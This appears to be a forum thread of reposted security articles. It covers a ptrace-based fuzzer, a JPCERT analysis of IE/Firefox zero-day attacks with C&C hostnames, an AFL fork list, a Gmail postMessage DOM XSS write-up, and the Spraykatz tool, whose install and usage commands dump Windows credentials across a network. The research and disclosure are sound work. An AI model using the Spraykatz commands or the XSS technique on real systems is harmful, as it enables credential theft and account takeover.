    With our initial data mutated it is time to run the target program and see if by any chance it crashes. Most typical approach is to use some form of execv()/Popen()/run() function. This would force us to read the program/shell output and parse it looking for words like ‘Segmentation Fault’ or checking the return code. I have to say I didn’t like the idea much as I was always a big proponent of well structured outputs. In consequence I’ve decided to run our program under ptrace.

    def execute_fuzz(dbg, data, counter):
      cmd = ['exif/exif', 'data/mutated.jpg']
      pid = debugger.child.createChild(cmd, no_stdout=True, env=None)
      proc = dbg.addProcess(pid, True)
      proc.cont()
    
      try:
        sig = dbg.waitSignals()
      except:
        return
      
      if sig.signum == signal.SIGSEGV:
        proc.detach()
        with open("crashes/crash.{}.jpg".format(counter), "wb+") as fh:
          fh.write(data)
    

    This is actually the first time I’ve used python-ptrace so I’m not entirely sure I’m doing everything correctly. The basic principle behind this code is that we just create a child process and start it under the debugger so we can watch for signals like SIGSEGV. In case we receive one we save the file that caused the crash with a unique name for further analysis. If a program finishes without any signal waitSignals just raises an exception and we stop this run.

    Currently this method does not offer us much more than Popen() would. In time however I intend to build more functionality upon it.

    What should come next

    When I ran my fuzzer I got 7810 crashes after only 100 000 iterations (by the way, it took only 6 minutes and 39 seconds). Given our unsophisticated mutation method and absolute lack of coverage measurements most likely many of them have exactly the same reason. In the next part of this series we will implement method to better determine uniqueness of a crash as well as other improvements around randomness.

    Right now our fuzzer is solely based on luck - it might modify the right bytes but it very well might not. In case of easy target like our exif library it clearly is enough, but will most likely fall short for harder ones. In part three I will try to implement some basic code coverage measurement to see if given changes in the sample file lead to more code being covered by our fuzzer.

    by @carstein

     

    Sursa: https://carstein.github.io/2020/04/18/writing-simple-fuzzer-1.html

  22. Attacks Simultaneously Exploiting Vulnerability in IE (CVE-2020-0674) and Firefox (CVE-2019-17026)

    On 8 January 2020, Mozilla released an advisory regarding a vulnerability in Firefox. On 17 January, Microsoft reported that 0-day attacks exploiting a vulnerability in Internet Explorer (IE) had been seen in the wild. JPCERT/CC confirmed attacks exploiting both vulnerabilities at once and issued a security alert.
    This article explains the details of these attacks.

    Attack overview

    In this attack, victims are redirected to an attack site through a compromised website. Figure 1 shows the flow of events from a victim accessing a compromised site until being infected with malware.

     

    Flow of events Figure 1: Flow of events

     

    When a victim is redirected to a malicious website on IE or Firefox, different exploit code is sent back depending on the browser. Figure 2 shows a part of the code to check the browser. Although this attack targets both 32bit and 64bit OS, it is only successful on 64bit OS as the malware which is finally deployed in this attack is only compatible with 64bit OS.

     

    Part of JavaScript to check the victim’s browser Figure 2: Part of JavaScript to check the victim’s browser

     

    If the attack is successful, the exploit code is downloaded once again as a Proxy Auto Configuration file (PAC file). The code is executed as a PAC file, and then malware is downloaded and executed.
    The following sections will explain the exploit code for IE/Firefox and malware.

    Attacks exploiting a vulnerability in IE

    Figure 3 shows a part of exploit code targeting IE. Usually, the C&C servers of malware downloaded by executing exploited code are embedded in Shellcode. However, the exploit code contains a URL to download the malware at the beginning, which is then embedded in the Shellcode when executing the code. Presumably, it makes it easier for attackers to modify the exploit code.

     

    Part of JavaScript for IE Exploit Figure 3: Part of JavaScript for IE Exploit

     

    The Shellcode executed by this exploit code retrieves the current process name and checks if it is “svchost.exe” or not. Figure 4 shows a part of code to check the process name.

     

    Part of code to check process name Figure 4: Part of code to check process name

     

    If the retrieved process name is "svchost.exe", the Shellcode downloads malware and executes it. However, in this attack, the exploit code is loaded on the browser; the retrieved process name is specific to the browser itself (e.g. iexplorer.exe). This exploit code does not download the malware when it is loaded on the browser. If the process name is not "svchost.exe", the Shellcode code downloads itself once again as a PAC file with WinHttpGetProxyForUrl as in Figure 5. When this exploit is loaded as a PAC file, the retrieved process name will be "svchost.exe", and the Shellcode downloads the malware and executes it (Figure 6).

     

    Part of code to download PAC file Figure 5: Part of code to download PAC file

     

     

    Part of code to download and execute the malware Figure 6: Part of code to download and execute the malware

     

    When the malware is downloaded and executed, only the code in Figure 6 is executed in any OS except for Windows 10. However, on Windows 10, the code in Figure 7 attempting privilege escalation (Juicy Potato [1]) is also executed at the same time.

     

    Part of code attempting privilege escalation Figure 7: Part of code attempting privilege escalation

     

    Attacks exploiting a vulnerability in Firefox

    Figure 8 shows a part of code attacking Firefox. The Shellcode is almost the same as in Figure 5, which re-downloads the exploit code as a PAC file. The exploit code downloaded here is for IE environment. The behaviour after executing the PAC file is the same as in the IE exploit.

     

    Part of JavaScript for FireFox Exploit Figure 8: Part of JavaScript for FireFox Exploit

     

    Malware

    If the attack is successful, eventually, the victim is infected with Gh0st RAT. The source code of the malware used in this attack is almost identical to the leaked code of Gh0st RAT [2] as Figure 9 describes.

     

    Comparison of source code of the malware and Gh0st RAT Figure 9: Comparison of source code of the malware and Gh0st RAT
    (Left: Malware used in the attack / Right: Gh0stRAT)

     

    The malware uses a custom protocol, and the data sent to a C&C server begins with the fixed string ”afxcbyzt”. The data to send is compressed with zlib, and the first 2-byte is XOR-ed with 0x88.

     

    Example of data sent Figure 10: Example of data sent

     

    In closing

    JPCERT/CC has confirmed that the attack was successful in Windows7 x64 (with patches released in December 2019) and Windows8.1 x64 (with patches released in January 2020), and the malware was executed in these environments. However, the malware infection was not confirmed in Windows 10 (with patches released in January 2020). It is likely that the exploit code is not compatible with Windows10.
    The hash value of a sample and C&C servers are listed in Appendix A and B. Please make sure that none of your devices is accessing these hosts.

    Shusei Tomonaga
    (Translated by Yukako Uchida)

    Reference

    [1] Juicy Potato (abusing the golden privileges)
    http://ohpe.it/juicy-potato/

    [2] Github - iGh0st / gh0st3.6_src
    https://github.com/iGh0st/gh0st3.6_src

    Appendix A: C&C server

    • last.tax-lab.net
    • cnnmedia.servepics.com

    Appendix B: SHA-256 value of a sample

    • c9e7467c88d391cecc0535f0c1576c30033791a94cec676d6bbc9a37931daf20

     

    Sursa: https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-0day.html

  23. Awesome-AFL

    Welcome to Awesome AFL

    A curated list of different AFL forks and AFL inspired fuzzers with detailed equivalent academic papers with AFL-fuzzing tutorials

    Projects


    Tutorials

     

    Sursa: https://github.com/Microsvuln/Awesome-AFL

  24. DOM XSS in Gmail with a little help from Chrome

      May 3, 2020  |    4 Comments

    How to use browser features to help find DOM XSS.

    The invisible Messages of Gmail

    Last year, I looked for DOM XSS in Gmail website. Instead of using url params or the emails themselves as the source of the attack, I decided to use the much more discreet yet ubiquitous postMessage api.  At first glance, the Gmail inbox seems a simple webpage, but if you go through the looking glass, it’s actually a dozen of different webpages (or iframes) communicating between each others.

    iframes-1024x547.png

    My first task was to make the cross-frames messages visible. This is not a native feature in DevTools yet. Instead, you can use this simple postMessage logger extension. After reloading, the console is now overwhelmed with frame to frame messages going back and forth.

    postmessage-1024x547.png

    Each message has a target (the frame which receives the message), a source (the frame which sent the message), an origin (the domain of the source) and the data, which can be a string or a JSON object (or any kind of object that will be cloned in the process). Messages can be sent by any frame to another, even from different domain and even from different tab if the source has a reference to the target, with window.opener, window.open() and window.frames.

    The target receives the message using

    addEventListener("message", function(message){/* handle message here */})
    like in the extension.

     

    If there are too many messages, you can customize the extension to filter messages by any of their property. I was looking for interesting messages and one message in particular contained an url in the data:

    frame-1024x340.png

    This message is sent by “hangouts.google.com” to “mail.google.com” . Not only is there a url in the message data, but the url contains the word “frame”. interesting…

    The browser Toolbox

    I went to the network tab of DevTools and filtered the requests by type “doc” which means “top window url and iframes src”. The same url was there:

    network-1024x480.png

    I could also confirm that the request referrer was “mail.google.com” which was a good sign since it’s the domain that received the Message. The value in red circle is the initiator of the request, the JS code that loaded the iframe. You can click on it and it brings you directly to the corresponding code in the source tab. Unminify the code, set a breakpoint, reload and the breakpoint is hit:

    debug-1024x441.png

    And voila! The function that triggers the request is appendChild(). This is pretty much all we can understand from the code which is unreadable. But with the magic of the debugger we can confirm that the argument contains an iframe with the src set to the url. If you click on the functions in the Call Stack on the right, you can navigate through the “control flow” of the program and understand its logic.

    For example, here is how the message is received by the frame:

    listener.png

    You can even see the code where the source of the message sent it:

    post.png

    There are dozens of functions between the listener and the loading of the url, across multiple files and thousands of lines of code. It is not uncommon that the browser freezes, breaks or skips breakpoint when you debug such heavy webpages, it’s a matter of trial and error! 😉

    I tried to send a message to the frame from the console with the same data but with “javascript:alert(1)” instead of the url. I didn’t got an alertbox, but a CSP error message.

    csp-1024x52.png

    Thankfully, this CSP rule wasn’t enforced by IE11 and Edge (at the time) so I was able to trigger the alertbox on those browsers. There was no check on the origin of the message. A simple attack scenario is to start from the attacker webpage, open a new tab to Gmail and inject the payload in the Gmail tab using postMessage. The Gmail tab loads the javascript iframe and the attacker has arbitrary code execution on the victim’s Gmail page, which means it can read and send emails, change password of accounts registered to this email etc…

    The random Channel Name

    There was still one issue: with so much communication between so many frames, it is easy to get confused, so messages usually have a channel name. The name is a random 6 char generated by “mail.google.com” and transmitted in the first message to “hangouts.google.com”. In all following messages that it receives, “hangouts.google.com” checks if it contains the correct channel name, and if not it doesn’t process the message.

    The attacker doesn’t know the channel name, and 6 alphanumeric is too much possibilities to try all.
    The random generator is “Math.random()” which is not secure and has been exploited in the past by a Google engineer to find an XSS in Facebook! 🙂 However the technique required the state of the random generator to be shared between cross-domain tabs which is not the case anymore.
    The third solution is to load an iframe controlled by the attacker in the hierarchy of frames in the Gmail tab. Because of the way cross-domain redirection of iframes works in the browser, the fact that Gmail X-Frame-Options header is “SAMEORIGIN” and that the messages were sent with the argument targetOrigin “*”, it would then be possible to intercept the channel name and execute the XSS.

    Conclusion

    I couldn’t find an easy way to load an iframe inside Gmail, but with all this I was confident enough to send a report to Google VRP and after a few days I received the “Nice Catch” answer and reward. Google fixed it by adding check on the origin of the message containing the url. The XSS doesn’t work anymore, but the message is still sent if you want to check.

    Browsers have all the cool features to navigate complex code, and for the features that are still missing, you can build you own extensions easily. With that, good hunting! 🙂

     

    Sursa: https://opnsec.com/2020/05/dom-xss-in-gmail-with-a-little-help-from-chrome/

  25. Spraykatz - retrieve credentials on Windows machines

    sp.png
    890
    SHARES
     

    Spraykatz is a tool without any pretention able to retrieve credentials on Windows machines and large Active Directory environments.

    It simply tries to procdump machines and parse dumps remotely in order to avoid detections by antivirus softwares as much as possible.

    Installation

    This tool is written for python>=3. Do not use this on production environments!

    Ubuntu

    On a fresh updated Ubuntu:

    apt update
    apt install -y python3.6 python3-pip git nmap
    git clone --recurse-submodules https://github.com/aas-n/spraykatz.git
    cd spraykatz
    pip3 install -r requirements.txt

    Using Spraykatz

    A quick start could be:

    ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

    preview.gif

    Mandatory arguments

    Switches Description
    -u, --username
    User to spray with. He must have admin rights on targeted systems in order to gain remote code execution.
    -p, --password
    User's password or NTLM hash in the LM:NT format.
    -t, --targets
    IP addresses and/or IP address ranges. You can submit them via a file of targets (one target per line), or inline (separated by commas).

    Optional arguments

    Switches Description
    -d, --domain
    User's domain. If he is not member of a domain, simply use -d . instead.
    -v, --verbosity
    Verbosity mode {warning, info, debug}. Default == info.

    Acknowlegments

    Spraykatz uses slighlty modified parts of the following projects:

    Written by Lydéric Lefebvre

    Copyright (c) 2019 Lydéric Lefebvre


    Main page: https://github.com/aas-n/spraykatz

     

    Sursa: https://hakin9.org/spraykatz-retrieve-credentials-on-windows-machines/

×
×
  • Create New...